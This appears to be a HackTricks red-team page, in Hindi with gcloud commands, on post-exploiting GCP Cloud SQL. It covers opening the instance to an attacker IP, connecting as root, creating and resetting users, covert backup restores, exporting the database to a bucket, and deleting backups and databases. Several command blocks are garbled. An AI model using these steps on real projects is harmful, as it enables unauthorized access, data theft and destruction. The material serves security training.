GCP - Cloud SQL Post Exploitation

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Cloud SQL

Cloud SQL के बारे में अधिक जानकारी के लिए देखें:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

Databases से कनेक्ट करने के लिए आपको केवल database port तक access और username और password पता होना चाहिए; IAM की कोई requirement नहीं है। इसलिए, यदि database का public IP है तो एक आसान तरीका है allowed networks को अपडेट करके अपने IP address को access करने की अनुमति देना।

अपने IP को अनुमति दें और database से कनेक्ट करें ```bash # Use --assign-ip to make the database get a public IPv4 gcloud sql instances patch $INSTANCE_NAME \ --authorized-networks "$(curl ifconfig.me)" \ --assign-ip \ --quiet

mysql -h <ip_db> # If mysql

With cloudsql.instances.get you can use gcloud directly

gcloud sql connect mysql –user=root –quiet

</details>

आप **`--no-backup`** का उपयोग करके डेटाबेस के बैकअप को **बाधित** भी कर सकते हैं।

इन आवश्यकताओं को देखकर मैं पूरी तरह सुनिश्चित नहीं हूँ कि अनुमति **`cloudsql.instances.connect`** और **`cloudsql.instances.login`** किसके लिए हैं। अगर आप जानते हैं तो एक PR भेजें!

### `cloudsql.users.list`

डेटाबेस के सभी उपयोगकर्ताओं की **सूची** प्राप्त करें:

<details>

<summary>डेटाबेस उपयोगकर्ताओं की सूची</summary>
```bash
gcloud sql users list --instance <intance-name>

cloudsql.users.create

यह permission डेटाबेस के अंदर नया user बनाने की अनुमति देता है:

डेटाबेस user बनाएँ ```bash gcloud sql users create --instance --password ```

cloudsql.users.update

यह अनुमति डेटाबेस के अंदर user को अपडेट करने देती है। उदाहरण के लिए, आप इसका पासवर्ड बदल सकते हैं:

user का पासवर्ड अपडेट करें ```bash gcloud sql users set-password --instance --password ```

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

बैकअप्स में पुरानी संवेदनशील जानकारी हो सकती है, इसलिए इन्हें जांचना दिलचस्प होता है.
डेटाबेस के अंदर बैकअप पुनर्स्थापित करें:

डेटाबेस बैकअप पुनर्स्थापित करें ```bash gcloud sql backups restore --restore-instance ```

इसे अधिक stealth तरीके से करने के लिए यह सिफारिश की जाती है कि एक नया SQL instance बनाकर वहां डेटा पुनर्प्राप्त करें बजाय कि वर्तमान में चल रहे डेटाबेस में।

cloudsql.backupRuns.delete

यह अनुमति बैकअप हटाने की अनुमति देती है:

बैकअप हटाएँ ```bash gcloud sql backups delete --instance ```

cloudsql.instances.export, storage.objects.create

डेटाबेस निर्यात करें Cloud Storage Bucket में ताकि आप वहां से इसे एक्सेस कर सकें:

डेटाबेस को bucket में निर्यात करें ```bash # Export sql format, it could also be csv and bak gcloud sql export sql --database ```

cloudsql.instances.import, storage.objects.get

Cloud Storage Bucket से डेटाबेस आयात करें (overwrite):

बकेट से डेटाबेस आयात करें ```bash # Import format SQL, you could also import formats bak and csv gcloud sql import sql ```

cloudsql.databases.delete

db instance से डाटाबेस हटाएँ:

डाटाबेस हटाएँ ```bash gcloud sql databases delete --instance ```

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें